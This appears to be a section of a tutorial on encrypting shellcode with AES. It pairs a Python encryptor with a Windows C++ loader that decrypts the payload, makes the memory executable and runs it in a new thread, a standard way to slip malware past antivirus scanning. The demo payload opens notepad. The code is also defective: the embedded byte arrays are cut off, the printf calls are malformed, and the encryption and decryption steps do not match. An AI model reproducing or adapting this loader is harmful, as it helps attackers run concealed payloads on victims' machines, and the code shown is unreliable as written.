

AES Encryption

In this section we will be seeing the, how AES encryption is implemented on the shellcode, and the python file, which does it, and how does the .cpp file decrypts it back.

Here's the python file which I have written:

```
1  import sys
2  from Crypto.Cipher import AES
3  from os import urandom
4  import hashlib
5
6  ENCRYPTION_KEY = urandom(16)
7
8  def pad(s):
9      pad_length = AES.block_size - (len(s) % AES.block_size)
10     return s + bytes([pad_length] * pad_length)
11
12  def AES_encrypt(plaintext, key):
13      k = hashlib.sha256(key).digest()
14      iv = urandom(AES.block_size)
15
16      if isinstance(plaintext, str):
17          plaintext = plaintext.encode() # Convert string to bytes if it's a string
18
19      plaintext = pad(plaintext)
20      cipher = AES.new(k, AES.MODE_CBC, iv)
21      ciphertext = cipher.encrypt(plaintext)
22      return iv + ciphertext
23
24
25  try:
26      plaintext_path = sys.argv[1]
27  except IndexError:
28      print("Usage: python 'new 1.py' PAYLOAD_FILE > OUTPUT_FILE")
29      sys.exit(1)
30
31  try:
32      with open(plaintext_path, "rb") as file:
33          plaintext = file.read()
34  except FileNotFoundError:
35      print(f"File '{plaintext_path}' not found.")
36      sys.exit(1)
37
38  ciphertext = AES_encrypt(plaintext, ENCRYPTION_KEY)
39  print('AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ENCRYPTION_KEY) + ' };')
40  print('payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
41
```

Here's the .cpp file:

```

1  #include <windows.h>
2  #include <stdio.h>
3  #include <stdlib.h>
4  #include <string.h>
5  #include <wincrypt.h>
6  #pragma comment(lib, "crypt32.lib")
7  #pragma comment(lib, "advapi32")
8  #include <psapi.h>
9
10 int DecryptAES(char *payload, unsigned int payload_len, char *key, size_t keylen) {
11     HCRYPTPROV hProv;
12     HCRYPTHASH hHash;
13     HCRYPTKEY hKey;
14
15     if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
16         return -1;
17     }
18     if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
19         return -1;
20     }
21     if (!CryptHashData(hHash, (BYTE *)key, (DWORD)keylen, 0)) {
22         return -1;
23     }
24     if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
25         return -1;
26     }
27
28     if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE *)payload, &payload_len)) {
29         return -1;
30     }
31
32     CryptReleaseContext(hProv, 0);
33     CryptDestroyHash(hHash);
34     CryptDestroyKey(hKey);
35
36     return 0;
37 }
38
39 int main(void) {
40     void *alloc_mem;
41     BOOL retval;
42     HANDLE threadHandle;
43     DWORD oldprotect = 0;
44
45     char encryption_key[] = { 0x26, 0x7, 0x95, 0x0, 0xf2, 0x19, 0xa3, 0x2, 0xdc, 0x52,
46     unsigned char payload[] = { 0x16, 0x4f, 0xad, 0x1f, 0xc, 0x57, 0x2a, 0x2b, 0x96, 0x30, 0
47
48     unsigned int payload_length = sizeof(payload);
49
50     // Allocate new memory buffer for payload
51     alloc_mem = VirtualAlloc(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
52     printf("0x0-016p\n", "payload addr", (void *)payload);
53     printf("0x0-016p\n", "alloc_mem addr", (void *)alloc_mem);
54
55     printf("\n[1] Press Enter to Decrypt AES Payload\n");
56     getchar();
57
58     // Decrypt the AES payload to Original Shellcode
59     DecryptAES((char *)payload, payload_length, encryption_key, sizeof(encryption_key));
60
61     // Copy the decrypted payload to allocated memory
62     RtlMoveMemory(alloc_mem, payload, payload_length);
63
64     // Set the newly allocated memory to be executable
65     retval = VirtualProtect(alloc_mem, payload_length, PAGE_EXECUTE_READ, &oldprotect);
66
67     printf("\n[2] Press Enter to Create Thread\n");
68     getchar();
69
70     // If VirtualProtect succeeded, run the thread that contains the shellcodePayload
71     if (retval != 0) {
72         threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)alloc_mem, 0, 0, 0);
73         WaitForSingleObject(threadHandle, -1);
74     }
75
76     return 0;
77 }

```

Here in the `DecryptAES` function we use lot of inbuilt windows function, we can see it takes lot of parameters, you can find what all parameters it takes in the documentation.

Now you just need to run the python file, and then copy the hex in the `.cpp` file, then execute the `.bat` file, you will get a `.exe` file, if you run the `.exe` file, you can see that notepad is opened.